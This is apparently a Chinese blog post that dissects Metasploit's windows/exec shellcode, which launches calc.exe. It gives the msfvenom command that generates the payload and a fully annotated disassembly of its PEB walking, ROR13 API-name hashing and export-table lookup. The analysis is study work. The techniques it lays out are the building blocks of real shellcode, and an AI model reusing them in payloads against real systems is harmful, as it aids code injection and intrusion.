msf生成的shellcode分析--走,組團(tuán)分析shellcode呀
作者丨selph
分析?MSF Windows/exec Shellcode
最近分析漏洞用到msf生成的樣本進(jìn)行測試,其中用到payload選項為Windows/exec cmd="calc.exe"的這個payload,本著一定要知道利用代碼是怎么運行的想法,開始對該shellcode的詳細(xì)分析。
實驗環(huán)境
???????????虛擬機(jī):Kali Linux 2022.1 x64
???????????物理機(jī):Windows 10 21H2 家庭版
???????????軟件:x86dbg,scdbg,windbg,010 Editor
生成shellcode
使用Kali Linux生成shellcode:
┌──(selph?kali)-[~/桌面/shellcode]
└─$ msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Saved as: shellcode.bin
前置知識補充
通過fs寄存器獲取模塊信息
使用windbg可以很方便查看用到的這些結(jié)構(gòu)
fs寄存器指向線程的TEB結(jié)構(gòu):
0:000> dt _TEB
ntdll!_TEB
?? +0x000 NtTib ???????????: _NT_TIB
?? +0x01c EnvironmentPointer : Ptr32 Void
?? +0x020 ClientId???????? : _CLIENT_ID
?? +0x028 ActiveRpcHandle? : Ptr32 Void
?? +0x02c ThreadLocalStoragePointer : Ptr32 Void
?? +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
TEB[0x30]指向當(dāng)前的PEB結(jié)構(gòu):
0:000> dt _peb
ntdll!_PEB
?? +0x000 InheritedAddressSpace : UChar
?? +0x001 ReadImageFileExecOptions : UChar
?? +0x002 BeingDebugged??? : UChar
?? +0x003 BitField???????? : UChar
?? +0x003 ImageUsesLargePages : Pos 0, 1 Bit
?? +0x003 IsProtectedProcess : Pos 1, 1 Bit
?? +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
?? +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
?? +0x003 IsPackagedProcess : Pos 4, 1 Bit
?? +0x003 IsAppContainer?? : Pos 5, 1 Bit
?? +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
?? +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
?? +0x004 Mutant?????????? : Ptr32 Void
?? +0x008 ImageBaseAddress : Ptr32 Void
?? +0x00c Ldr????????????? : Ptr32 _PEB_Ldr_DATA
?? +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
PEB[0xC]指向_PEB_Ldr_DATA結(jié)構(gòu),這里保存了模塊相關(guān)的信息:
0:000> dt _PEB_Ldr_DATA
ntdll!_PEB_Ldr_DATA
?? +0x000 Length?????????? : Uint4B
?? +0x004 Initialized????? : UChar
?? +0x008 SsHandle???????? : Ptr32 Void
?? +0x00c InLoadOrderModuleList : _LIST_ENTRY
?? +0x014 InMemoryOrderModuleList : _LIST_ENTRY
?? +0x01c InInitializationOrderModuleList : _LIST_ENTRY
?? +0x024 EntryInProgress? : Ptr32 Void
?? +0x028 ShutdownInProgress : UChar
?? +0x02c ShutdownThreadId : Ptr32 Void
這里的三個_LIST_ENTRY雙向鏈表結(jié)構(gòu)都是連接本進(jìn)程內(nèi)所有模塊的_Ldr_DATA_TABLE_ENTRY結(jié)構(gòu),這里有更詳細(xì)的模塊信息:
例如0x18偏移處的模塊基址,0x2c偏移處的模塊名稱等....
0:000> dt _Ldr_DATA_TABLE_ENTRY
ntdll!_Ldr_DATA_TABLE_ENTRY
?? +0x000 InLoadOrderLinks : _LIST_ENTRY
?? +0x008 InMemoryOrderLinks : _LIST_ENTRY
?? +0x010 InInitializationOrderLinks : _LIST_ENTRY
?? +0x018 DllBase????????? : Ptr32 Void
?? +0x01c EntryPoint?????? : Ptr32 Void
?? +0x020 SizeOfImage????? : Uint4B
?? +0x024 FullDllName????? : _UNICODE_STRING
?? +0x02c BaseDllName????? : _UNICODE_STRING
?? +0x034 FlagGroup??????? : [4] UChar
?? +0x034 Flags??????????? : Uint4B
?? +0x034 PackagedBinary?? : Pos 0, 1 Bit
?? +0x034 MarkedForRemoval : Pos 1, 1 Bit
?? +0x034 ImageDll???????? : Pos 2, 1 Bit
?? +0x034 LoadNotificationsSent : Pos 3, 1 Bit
?? +0x034 TelemetryEntryProcessed : Pos 4, 1 Bit
?? +0x034 ProcessStaticImport : Pos 5, 1 Bit
?? +0x034 InLegacyLists??? : Pos 6, 1 Bit
?? +0x034 InIndexes??????? : Pos 7, 1 Bit
?? +0x034 ShimDll????????? : Pos 8, 1 Bit
?? +0x034 InExceptionTable : Pos 9, 1 Bit
?? +0x034 ReservedFlags1?? : Pos 10, 2 Bits
?? +0x034 LoadInProgress?? : Pos 12, 1 Bit
?? +0x034 LoadConfigProcessed : Pos 13, 1 Bit
?? +0x034 EntryProcessed?? : Pos 14, 1 Bit
?? +0x034 ProtectDelayLoad : Pos 15, 1 Bit
?? +0x034 ReservedFlags3?? : Pos 16, 2 Bits
?? +0x034 DontCallForThreads : Pos 18, 1 Bit
?? +0x034 ProcessAttachCalled : Pos 19, 1 Bit
?? +0x034 ProcessAttachFailed : Pos 20, 1 Bit
?? +0x034 CorDeferredValidate : Pos 21, 1 Bit
?? +0x034 CorImage???????? : Pos 22, 1 Bit
?? +0x034 DontRelocate???? : Pos 23, 1 Bit
?? +0x034 CorILOnly??????? : Pos 24, 1 Bit
?? +0x034 ChpeImage??????? : Pos 25, 1 Bit
?? +0x034 ReservedFlags5?? : Pos 26, 2 Bits
?? +0x034 Redirected?????? : Pos 28, 1 Bit
?? +0x034 ReservedFlags6?? : Pos 29, 2 Bits
?? +0x034 CompatDatabaseProcessed : Pos 31, 1 Bit
?? +0x038 ObsoleteLoadCount : Uint2B
?? +0x03a TlsIndex???????? : Uint2B
?? +0x03c HashLinks??????? : _LIST_ENTRY
?? +0x044 TimeDateStamp??? : Uint4B
?? +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
?? +0x04c Lock???????????? : Ptr32 Void
?? +0x050 DdagNode???????? : Ptr32 _Ldr_DDAG_NODE
?? +0x054 NodeModuleLink?? : _LIST_ENTRY
?? +0x05c LoadContext????? : Ptr32 _LdrP_LOAD_CONTEXT
?? +0x060 ParentDllBase??? : Ptr32 Void
?? +0x064 SwitchBackContext : Ptr32 Void
?? +0x068 BaseAddressIndexNode : _RTL_BALANCED_NODE
?? +0x074 MAppingInfoIndexNode : _RTL_BALANCED_NODE
?? +0x080 OriginalBase???? : Uint4B
?? +0x088 LoadTime???????? : _LARGE_INTEGER
?? +0x090 BaseNameHashValue : Uint4B
?? +0x094 LoadReason?????? : _Ldr_DLL_LOAD_REASON
?? +0x098 ImplicitPathOptions : Uint4B
?? +0x09c ReferenceCount?? : Uint4B
?? +0x0a0 DependentLoadFlags : Uint4B
?? +0x0a4 SigningLevel???? : UChar
手動解析PE文件拿到導(dǎo)出表
關(guān)于PE文件解析,可以使用010 Editor的exe.bt模板來輔助解析
使用010 Editor隨便打開一個DLL(一般都有導(dǎo)出表),界面如下:

這里通過下面模板的表格去找對應(yīng)的偏移即可輔助理解分析中用到的結(jié)構(gòu),跟著shellcode的反匯編中給出的偏移去找結(jié)構(gòu),本文中足夠用了
具體操作這里就不再介紹,有需要深入了解可自行學(xué)習(xí)
分析shellcode
準(zhǔn)備工作
把生成的shellcode傳到物理機(jī),使用010editor打開:

復(fù)制,二進(jìn)制,打開x86dbg(用隨便一個測試進(jìn)程),選中一片空白區(qū)域,二進(jìn)制編輯:

把剛剛復(fù)制的shellcode黏貼進(jìn)去,然后確定,修改eip為我們復(fù)制shellcode的首地址:

接下來就可以用x86dbg開始調(diào)試分析了(使用x86dbg方便查看每個指令運行的結(jié)果,故這里沒使用IDA)
接下來收集一下shellcode調(diào)用API的信息,使用scdbg進(jìn)行掃描:

這里調(diào)用了三個函數(shù):WinExec("calc.exe"),GetVersion(),ExitProcess(0)
可以通過參考資料[2]去查詢API Hash Table
開始分析
首先shellcode設(shè)置了DF標(biāo)志位,然后跳轉(zhuǎn)進(jìn)函數(shù)BE2F6E
00BE2EE5?????? | 90?????????????????????? | nop????????????????????????????????????? |
00BE2EE6?????? | FC?????????????????????? | cld????????????????????????????????????? |
00BE2EE7?????? | E8 82000000????????????? | call testmfc x86.BE2F6E????????????????? |?通過call?將當(dāng)前下一條指令的地址放到棧里
接下來進(jìn)入函數(shù):
00BE2F6E?????? | 5D?????????????????????? | pop ebp????????????????????????????????? |?獲取shellcode指令地址
00BE2F6F?????? | 6A 01??????????????????? | push 1??? ???????????????????????????????|
00BE2F71?????? | 8D85 B2000000??????????? | lea eax,dword ptr ss:[ebp+B2]??????????? |?獲取字符串“calc.exe”的地址(偏移指向shellcode末尾)
00BE2F77?????? | 50?????????????????????? | push eax???????????????????????????????? | push "calc.exe"
00BE2F78?????? | 68 318B6F87????????????? | push 876F8B31??????????????????????????? | Hash WinExec
00BE2F7D?????? | FFD5???????????????????? | call ebp???????????????????????????????? |?保存當(dāng)前下一行地址,跳轉(zhuǎn)回去
這里通過call+pop ebp的方式獲取了shellcode本身的地址,通過硬編碼偏移獲得shellcode末尾的字符串“calc.exe”,然后入棧3個參數(shù)call ebp(ebp的值是剛剛call進(jìn)來的call指令的下一行)
shellcode使用call+pop可以實現(xiàn)shellcode地址的定位功能
00BE2EEC?????? | 60?????????????????????? | pushad?????????????????????????????????? |?保存寄存器環(huán)境
00BE2EED?????? | 89E5???????????????????? | mov ebp,esp ?????????????????????????????|?保存棧頂
00BE2EEF?????? | 31C0???????????????????? | xor eax,eax????????????????????????????? |?清空eax
00BE2EF1?????? | 64:8B50 30?????????????? | mov edx,dword ptr fs:[eax+30]??????????? |?讀取fs寄存器偏移0x30處:PEB的地址
00BE2EF5?????? | 8B52 0C????????????????? | mov edx,dword ptr ds:[edx+C]???????????? | [PEB + 0xC] = PEB_Ldr_DATA Addr
00BE2EF8?????? | 8B52 14????????????????? | mov edx,dword ptr ds:[edx+14]??????????? | [PEB_Ldr_DATA + 0x14] = InMemoryOrderModuleList flink
00BE2EFB????? ?| 8B72 28????????????????? | mov esi,dword ptr ds:[edx+28]??????????? | _Ldr_DATA_TABLE_ENTRY[0x4 + 0x28] = BaseDllName,當(dāng)前模塊名稱
00BE2EFE?????? | 0FB74A 26??????????????? | movzx ecx,word ptr ds:[edx+26]?????????? |
00BE2F02?????? | 31FF??????????????????? ?| xor edi,edi????????????????????????????? |?清空edi
00BE2F04?????? | AC?????????????????????? | lodsb??????????????????????????????????? | esi的值給到ax,對當(dāng)前模塊名計算hash
00BE2F05?????? | 3C 61??????????????????? | cmp al,61??????????????????????????????? |?和a做比較,判斷是否是小寫
00BE2F07?????? | 7C 02??????????????????? | jl testmfc x86.BE2F0B??????????????????? |?大寫字母跳轉(zhuǎn)
00BE2F09?????? | 2C 20??????????????????? | sub al,20??????????????????????????????? | al - 0x20?小寫變大寫
00BE2F0B?????? | C1CF 0D????????????????? | ror edi,D??????????????????????????????? | edi?循環(huán)右移0xd
00BE2F0E?????? | 01C7???????????????????? | add edi,eax????????????????????????????? | edi += ax
00BE2F10?????? | E2 F2??????????????????? | loop testmfc x86.BE2F04????????????????? |?循環(huán)
00BE2F12?????? | 52?? ????????????????????| push edx???????????????????????????????? |?保存_Ldr_DATA_TABLE_ENTRY地址
00BE2F13?????? | 57?????????????????????? | push edi???????????????????????????????? |?保存當(dāng)前模塊名Hash
00BE2F14?????? | 8B52 10????????????????? | mov edx,dword ptr ds:[edx+10]??????????? |?讀取地址_Ldr_DATA_TABLE_ENTRY的InInitializationOrderLinks往后偏移0x10的位置DllBase,模塊首地址
00BE2F17?????? | 8B4A 3C????????????????? | mov ecx,dword ptr ds:[edx+3C]??????????? |?讀取DOS頭的擴(kuò)展頭偏移
00BE2F1A?????? | 8B4C11 78??????????????? | mov ecx,dword ptr ds:[ecx+edx+78]??????? |?獲取擴(kuò)展頭中數(shù)據(jù)目錄表的導(dǎo)出表的偏移
00BE2F1E?????? | E3 48??????????????????? | jecxz testmfc x86.BE2F68???????????????? | ecx為0則跳轉(zhuǎn),說明沒有導(dǎo)出表
首先保存寄存器環(huán)境,通過fs寄存器獲得PEB地址,從PEB中找到_Ldr_DATA_TABLE_ENTRY結(jié)構(gòu),找到模塊基址用于遍歷導(dǎo)出表中的函數(shù)名稱,尋找函數(shù)要用
這里最后判斷ecx是否為0,ecx為0意味著沒有導(dǎo)出表,如果沒有導(dǎo)出表則跳轉(zhuǎn):
00BE2F68?????? | 5F?????????????????????? | pop edi????????????????????????????????? |?還原保存的edi?當(dāng)前模塊名Hash
00BE2F69?????? | 5A?????????????????????? | pop edx????????????????????????????????? |?還原保存的_Ldr_DATA_TABLE_ENTRY中的鏈表節(jié)點地址
00BE2F6A ??????| 8B12???????????????????? | mov edx,dword ptr ds:[edx]?????????????? |?讀取下一個節(jié)點
00BE2F6C?????? | EB 8D??????????????????? | jmp testmfc x86.BE2EFB?????????????????? |
還原搜索導(dǎo)出表之前的環(huán)境,然后通過鏈表讀取下一個節(jié)點,再次跳轉(zhuǎn)回去搜索下一個節(jié)點保存的模塊是否有我們需要的函數(shù)
如果模塊有導(dǎo)出表則不進(jìn)行跳轉(zhuǎn),繼續(xù)執(zhí)行:
00BE2F20?????? | 01D1???????????????????? | add ecx,edx????????????????????????????? |?導(dǎo)出表偏移+模塊基地址?=?導(dǎo)出表位置
00BE2F22?????? | 51?????????????????????? | push ecx???????????????????????????????? |?保存導(dǎo)出表位置
00BE2F23?????? | 8B59 20????????????????? | mov ebx,dword ptr ds:[ecx+20]??????????? |?找到導(dǎo)出名稱表地址偏移
00BE2F26?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? | ebx =?找到導(dǎo)出名稱表地址
00BE2F28?????? | 8B49 18????????????????? | mov ecx,dword ptr ds:[ecx+18]??????????? |?獲取導(dǎo)出名稱數(shù)量
00BE2F2B?????? | E3 3A??????????????????? | jecxz testmfc x86.BE2F67???????????????? |?如果數(shù)量為0則跳轉(zhuǎn)(無名稱導(dǎo)出函數(shù)或者遍歷完整個導(dǎo)出表沒找到要找的函數(shù))
存在導(dǎo)出表則計算導(dǎo)出表在模塊中的位置,然后解析導(dǎo)出表信息:導(dǎo)出名稱表,導(dǎo)出名稱數(shù)量,如果導(dǎo)出名稱數(shù)量為0,則表示這里肯定沒有我們要調(diào)用的函數(shù)名稱導(dǎo)出的函數(shù),則跳轉(zhuǎn):
00BE2F67?????? | 5F?????????????????????? | pop edi????????????????????????????????? | edi:_wWinMainCRTStartup
00BE2F68?????? | 5F?????????????????????? | pop edi????????? ????????????????????????|?還原保存的edi?當(dāng)前模塊名Hash
00BE2F69?????? | 5A?????????????????????? | pop edx????????????????????????????????? |?還原保存的_Ldr_DATA_TABLE_ENTRY中的鏈表節(jié)點地址
00BE2F6A?????? | 8B12???????????????????? | mov edx,dword ptr ds:[edx]?????????????? |?讀取下一個節(jié)點
00BE2F6C?????? | EB 8D??????????????????? | jmp testmfc x86.BE2EFB?????????????????? |
還原搜索導(dǎo)出表之前的環(huán)境,然后通過鏈表讀取下一個節(jié)點,再次跳轉(zhuǎn)回去搜索下一個節(jié)點保存的模塊。
如果導(dǎo)出名稱數(shù)量不為0則繼續(xù)執(zhí)行:
00BE2F2D?????? | 49?????????????????????? | dec ecx????????????????????????????????? | ecx作為循環(huán)計數(shù),遍歷整個導(dǎo)出名稱表
00BE2F2E?????? | 8B348B?????????????????? | mov esi,dword ptr ds:[ebx+ecx*4]???????? |?讀取一個函數(shù)名稱偏移
00BE2F31?????? | 01D6???????????????????? | add esi,edx????????????????????????????? |?讀取函數(shù)名稱地址
00BE2F33?????? | 31FF???????????????????? | xor edi,edi????????????????????????????? |?清空edi
00BE2F35?????? | AC?????????????????????? | lodsb??????????????????????????????????? |?取一個字符出來,指向下一個字符,計算函數(shù)名Hash
00BE2F36?????? | C1CF 0D????????????????? | ror edi,D??????????????????????????????? | edi?循環(huán)右移0xD
00BE2F39?????? | 01C7???????????????????? | add edi,eax????????????????????????????? | edi += eax
00BE2F3B?????? | 38E0???????????????????? | cmp al,ah??????????????????????????????? |?對比?al和ah
00BE2F3D?????? | 75 F6??????????????????? | jne testmfc x86.BE2F35?????????????????? |?不相等則跳轉(zhuǎn),意思是遍歷整個函數(shù)名,到名稱末尾\00時停止循環(huán)
00BE2F3F?????? | 037D F8????????????????? | add edi,dword ptr ss:[ebp-8]???????????? | edi += [ebp-8],給計算出來的函數(shù)名Hash加一個數(shù)字
00BE2F42?????? | 3B7D 24????????????????? | cmp edi,dword ptr ss:[ebp+24]???????? ???|?判斷是否等于保存的Hash
00BE2F45?????? | 75 E4??????????????????? | jne testmfc x86.BE2F2B?????????????????? |?不相等就跳轉(zhuǎn)
00BE2F47?????? | 58?????????????????????? | pop eax????????????????????????????????? |?導(dǎo)出表的位置
00BE2F48?????? | 8B58 24????????????????? | mov ebx,dword ptr ds:[eax+24]??????????? |?找到導(dǎo)出序號表偏移
00BE2F4B?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? | ebx =?導(dǎo)出序號表偏移?+?模塊基址?=?導(dǎo)出序號表地址
00BE2F4D?????? | 66:8B0C4B??????????????? | mov cx,word ptr ds:[ebx+ecx*2]?????????? | ecx是導(dǎo)出序號偏移,這里是計算導(dǎo)出序號表的索引
00BE2F51?????? | 8B58 1C????????????????? | mov ebx,dword ptr ds:[eax+1C]??????????? |?導(dǎo)出地址表偏移
00BE2F54?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? |?導(dǎo)出地址表地址
00BE2F56?????? | 8B048B?????????????????? | mov eax,dword ptr ds:[ebx+ecx*4]???????? |?按照導(dǎo)出序號獲取導(dǎo)出函數(shù)地址偏移
00BE2F59?????? | 01D0???????????????????? | add eax,edx????????????????????????????? |?拿到導(dǎo)出函數(shù)地址
00BE2F5B?????? | 894424 24??????????????? | mov dword ptr ss:[esp+24],eax??????????? |?保存導(dǎo)出函數(shù)到棧里
00BE2F5F?????? | 5B?????????????????????? | pop ebx????????????????????????????????? |?堆棧平衡,把之前push的都pop
00BE2F60?????? | 5B?????????????????????? | pop ebx????????????????????????????????? |
00BE2F61?????? | 61?????????????????????? | popad????????????????? ??????????????????|
00BE2F62?????? | 59?????????????????????? | pop ecx????????????????????????????????? |
00BE2F63?????? | 5A?????????????????????? | pop edx????????????????????????????????? |
00BE2F64?????? | 51?????????????????????? | push ecx????????? ???????????????????????|?構(gòu)造返回地址,返回到剛剛?cè)霔ash的地方的下一行,去找下一個函數(shù)來執(zhí)行
00BE2F65?????? | FFE0???????????????????? | jmp eax????????????????????????????????? |?執(zhí)行函數(shù)
這里ecx是導(dǎo)出名稱數(shù)量,同時也作為索引去搜索導(dǎo)出名稱表中的函數(shù)名稱,對每一個找到的導(dǎo)出名稱進(jìn)行Hash計算,然后與棧中保存的我們要找的函數(shù)的Hash進(jìn)行比對,如果找不到,則找下一個函數(shù),如果函數(shù)找完了,則找下一個模塊
如果找到了,則pop導(dǎo)出表地址給eax,再次解析導(dǎo)出表信息:導(dǎo)出序號表,導(dǎo)出地址表,從導(dǎo)出名稱表中獲得的索引去獲取導(dǎo)出序號表中對應(yīng)的序號,通過找到的導(dǎo)出序號去導(dǎo)出地址表找到對應(yīng)的導(dǎo)出函數(shù)地址,保存到eax里
拿到導(dǎo)出函數(shù)地址之后,堆棧平衡還原到搜索函數(shù)之前的位置,然后自己構(gòu)造返回地址,通過push jmp來模擬call,push的返回地址是我們構(gòu)造的剛剛push函數(shù)hash后面的call留下的地址
執(zhí)行完函數(shù)會返回回去:
00BE2F7F?????? | BB F0B5A256?????? ???????| mov ebx,56A2B5F0???????????????????????? | Hash ExitProcess
00BE2F84?????? | 68 A695BD9D????????????? | push 9DBD95A6??????????????????????????? | Hash GetVersion
00BE2F89?????? | FFD5???????????????????? | call ebp??????????????????????????????? ?|?跳轉(zhuǎn)去找到函數(shù)并執(zhí)行
00BE2F8B?????? | 3C 06??????????????????? | cmp al,6???????????????????????????????? |?看返回結(jié)果是否小于6
00BE2F8D?????? | 7C 0A??????????????????? | jl testmfc x86.BE2F99??????????????????? |?小于6則跳轉(zhuǎn)
00BE2F8F?????? | 80FB E0????????????????? | cmp bl,E0??????????????????????????????? |?判斷bl結(jié)尾是不是E0
00BE2F92?????? | 75 05??????????????????? | jne testmfc x86.BE2F99?????????????????? |?不是則跳轉(zhuǎn),實際上是判斷是退出線程還是退出進(jìn)程
00BE2F94?????? | BB 4713726F????????????? | mov ebx,6F721347???????????????????????? | Hash RtlExitUserThread
00BE2F99?????? | 6A 00??????????????????? | push 0?????????????????????????????????? |?參數(shù):0
00BE2F9B?????? | 53?????????????????????? | push ebx???????????????????????????????? | Hash ExitProcess
00BE2F9C?????? | FFD5???????????????????? | call ebp???????????????????????????????? |?調(diào)用?ExitProcess(0)
00BE2F9E?????? | 6361 6C????????????????? | arpl word ptr ds:[ecx+6C],sp???????????? |?字符串“calc.exe”
00BE2FA1?????? | 632E???????????????????? | arpl word ptr ds:[esi],bp??????????????? | esi:_wWinMainCRTStartup
00BE2FA3?????? | 65:78 65???????????????? | js testmfc x86.BE300B??????????????????? |
然后接下來走同樣的途徑,去依次調(diào)用接下來要調(diào)用的函數(shù):GetVersion,ExitProcess
這里shellcode最后這個call ebp之后的內(nèi)容,不是指令,是我們調(diào)用函數(shù)的字符串參數(shù)“calc.exe”
到這里shellcode整個工作流程就是這些了,本例中,執(zhí)行結(jié)果就是彈出計算器
執(zhí)行流程總結(jié)
Shellcode執(zhí)行流程總結(jié):
1.????????入棧函數(shù)的參數(shù)和函數(shù)名的Hash,跳轉(zhuǎn)到函數(shù)進(jìn)行搜索:
a.????????通過_TEB找到_PEB
b.????????通過_PEB找到_PEB_Ldr_DATA
c.????????通過_PEB_Ldr_DATA找到當(dāng)前的_Ldr_DATA_TABLE_ENTRY,載入進(jìn)程的模塊信息雙向鏈表
d.????????獲取模塊基址
e.????????手工解析PE文件,找到導(dǎo)出表,若無則跳轉(zhuǎn)至第8步
f.?????????解析導(dǎo)出表,找到導(dǎo)出名稱表和導(dǎo)出名稱數(shù)量,若數(shù)量為0,則跳轉(zhuǎn)至第8步
g.????????根據(jù)導(dǎo)出名稱表遍歷每一個導(dǎo)出名稱計算Hash,比對Hash與我們保存的Hash是否相同
h.????????若找不到該函數(shù),則通過鏈表找到下一個模塊信息,跳轉(zhuǎn)至第4步進(jìn)行循環(huán)
i.?????????若找到目標(biāo)函數(shù),則調(diào)用該函數(shù),然后返回出來
2.????????入棧下一個函數(shù)及其所需要的參數(shù),然后再走一遍上面的流程去調(diào)用執(zhí)行,直到完成shellcode所有要執(zhí)行的函數(shù)
完整反匯編分析注釋
00BE2EE6?????? | FC?????????????????????? | cld????????????????????????????????????? |
00BE2EE7?????? | E8 82000000????????????? | call testmfc x86.BE2F6E????????????????? |?通過call?將當(dāng)前下一條指令的地址放到棧里
00BE2EEC?????? | 60?????????????????????? | pushad?????????????????????????????????? |?保存寄存器環(huán)境
00BE2EED?????? | 89E5???????????????????? | mov ebp,esp????????????????????????????? |?保存棧頂
00BE2EEF?????? | 31C0???????????????????? | xor eax,eax????????????????????????????? |?清空eax
00BE2EF1?????? | 64:8B50 30?????????????? | mov edx,dword ptr fs:[eax+30]??????????? |?讀取fs寄存器偏移0x30處:PEB的地址
00BE2EF5?????? | 8B52 0C????????????????? | mov edx,dword ptr ds:[edx+C]???????????? | [PEB + 0xC] = PEB_Ldr_DATA Addr
00BE2EF8?????? | 8B52 14????????????????? | mov edx,dword ptr ds:[edx+14]??????????? | [PEB_Ldr_DATA + 0x14] = InMemoryOrderModuleList flink
00BE2EFB?????? | 8B72 28????????????????? | mov esi,dword ptr ds:[edx+28]??????????? | _Ldr_DATA_TABLE_ENTRY[0x4 + 0x28] = BaseDllName,當(dāng)前模塊名稱
00BE2EFE?????? | 0FB74A 26??????????????? | movzx ecx,word ptr ds:[edx+26]?????????? |
00BE2F02?????? | 31FF???????????????????? | xor edi,edi???????????????????????? ?????|?清空edi
00BE2F04?????? | AC?????????????????????? | lodsb??????????????????????????????????? | esi的值給到ax,對當(dāng)前模塊名計算hash
00BE2F05?????? | 3C 61??????????????????? | cmp al,61??????????????????????????????? |?和a做比較,判斷是否是小寫
00BE2F07?????? | 7C 02????????? ??????????| jl testmfc x86.BE2F0B??????????????????? |?大寫字母跳轉(zhuǎn)
00BE2F09?????? | 2C 20??????????????????? | sub al,20??????????????????????????????? | al - 0x20?小寫變大寫
00BE2F0B?????? | C1CF 0D????????????????? | ror edi,D??????????????????????????????? | edi?循環(huán)右移0xd
00BE2F0E?????? | 01C7???????????????????? | add edi,eax????????????????????????????? | edi += ax
00BE2F10?????? | E2 F2??????????????????? | loop testmfc x86.BE2F04????????????????? |?循環(huán)
00BE2F12?????? | 52?????????????????????? | push edx???????? ????????????????????????|?保存_Ldr_DATA_TABLE_ENTRY地址
00BE2F13?????? | 57?????????????????????? | push edi???????????????????????????????? |?保存當(dāng)前模塊名Hash
00BE2F14?????? | 8B52 10????????????????? | mov edx,dword ptr ds:[edx+10]??????????? |?讀取地址_Ldr_DATA_TABLE_ENTRY的InInitializationOrderLinks往后偏移0x10的位置DllBase,模塊首地址
00BE2F17?????? | 8B4A 3C????????????????? | mov ecx,dword ptr ds:[edx+3C]??????????? |?讀取DOS頭的擴(kuò)展頭偏移
00BE2F1A?????? | 8B4C11 78??????????????? | mov ecx,dword ptr ds:[ecx+edx+78]??????? |?獲取擴(kuò)展頭中數(shù)據(jù)目錄表的導(dǎo)出表的偏移
00BE2F1E?????? | E3 48??????????????????? | jecxz testmfc x86.BE2F68???????????????? | ecx為0則跳轉(zhuǎn),說明沒有導(dǎo)出表
00BE2F20?????? | 01D1???????????????????? | add ecx,edx????????????????????????????? |?導(dǎo)出表偏移+模塊基地址?=?導(dǎo)出表位置
00BE2F22?????? | 51??????????????? ???????| push ecx???????????????????????????????? |?保存導(dǎo)出表位置
00BE2F23?????? | 8B59 20????????????????? | mov ebx,dword ptr ds:[ecx+20]??????????? |?找到導(dǎo)出名稱表地址偏移
00BE2F26?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? | ebx =?找到導(dǎo)出名稱表地址
00BE2F28?????? | 8B49 18????????????????? | mov ecx,dword ptr ds:[ecx+18]??????????? |?獲取導(dǎo)出名稱數(shù)量
00BE2F2B?????? | E3 3A??????????????????? | jecxz testmfc x86.BE2F67???????????????? |?如果數(shù)量為0則跳轉(zhuǎn)(無名稱導(dǎo)出函數(shù)或者遍歷完整個導(dǎo)出表沒找到要找的函數(shù))
00BE2F2D?????? | 49?????????? ????????????| dec ecx????????????????????????????????? | ecx作為循環(huán)計數(shù),遍歷整個導(dǎo)出名稱表
00BE2F2E?????? | 8B348B?????????????????? | mov esi,dword ptr ds:[ebx+ecx*4]???????? |?讀取一個函數(shù)名稱偏移
00BE2F31?????? | 01D6???????????????????? | add esi,edx????????????????????????? ????|?讀取函數(shù)名稱地址
00BE2F33?????? | 31FF???????????????????? | xor edi,edi????????????????????????????? |?清空edi
00BE2F35?????? | AC?????????????????????? | lodsb??????????????????????????????????? |?取一個字符出來,指向下一個字符,計算函數(shù)名Hash
00BE2F36?????? | C1CF 0D?????????? ???????| ror edi,D??????????????????????????????? | edi?循環(huán)右移0xD
00BE2F39?????? | 01C7???????????????????? | add edi,eax????????????????????????????? | edi += eax
00BE2F3B?????? | 38E0???????????????????? | cmp al,ah??????????????????????????????? |?對比?al和ah
00BE2F3D?????? | 75 F6??????????????????? | jne testmfc x86.BE2F35?????????????????? |?不相等則跳轉(zhuǎn),意思是遍歷整個函數(shù)名,到名稱末尾\00時停止循環(huán)
00BE2F3F?????? | 037D F8????????????????? | add edi,dword ptr ss:[ebp-8]???????????? | edi += [ebp-8],給計算出來的函數(shù)名Hash加一個數(shù)字
00BE2F42????? ?| 3B7D 24????????????????? | cmp edi,dword ptr ss:[ebp+24]??????????? |?判斷是否等于保存的Hash
00BE2F45?????? | 75 E4??????????????????? | jne testmfc x86.BE2F2B?????????????????? |?不相等就跳轉(zhuǎn)
00BE2F47?????? | 58?????????????????????? | pop eax??????????????????????? ??????????|?導(dǎo)出表的位置
00BE2F48?????? | 8B58 24????????????????? | mov ebx,dword ptr ds:[eax+24]??????????? |?找到導(dǎo)出序號表偏移
00BE2F4B?????? | 01D3???????????????????? | add ebx,edx????????????????????????????? | ebx =?導(dǎo)出序號表偏移?+?模塊基址?=?導(dǎo)出序號表地址
00BE2F4D?????? | 66:8B0C4B??????????????? | mov cx,word ptr ds:[ebx+ecx*2]?????????? | ecx是導(dǎo)出序號偏移,這里是計算導(dǎo)出序號表的索引
00BE2F51?????? | 8B58 1C????????????????? | mov ebx,dword ptr ds:[eax+1C]??????????? |?導(dǎo)出地址表偏移
00BE2F54?????? | 01D3???????????????????? | add ebx,edx??????????????? ??????????????|?導(dǎo)出地址表地址
00BE2F56?????? | 8B048B?????????????????? | mov eax,dword ptr ds:[ebx+ecx*4]???????? |?按照導(dǎo)出序號獲取導(dǎo)出函數(shù)地址偏移
00BE2F59?????? | 01D0???????????????????? | add eax,edx????????????????????????????? |?拿到導(dǎo)出函數(shù)地址
00BE2F5B?????? | 894424 24????? ??????????| mov dword ptr ss:[esp+24],eax??????????? |?保存導(dǎo)出函數(shù)到棧里
00BE2F5F?????? | 5B?????????????????????? | pop ebx????????????????????????????????? |?堆棧平衡,把之前push的都pop
00BE2F60?????? | 5B?????????????????????? | pop ebx????????????????????????????????? |
00BE2F61?????? | 61?????????????????????? | popad??????????????????????????????????? |
00BE2F62?????? | 59?????????????????????? | pop ecx????????????????????????????????? |
00BE2F63?????? | 5A?????????????????????? | pop edx????????????????????????????? ????|
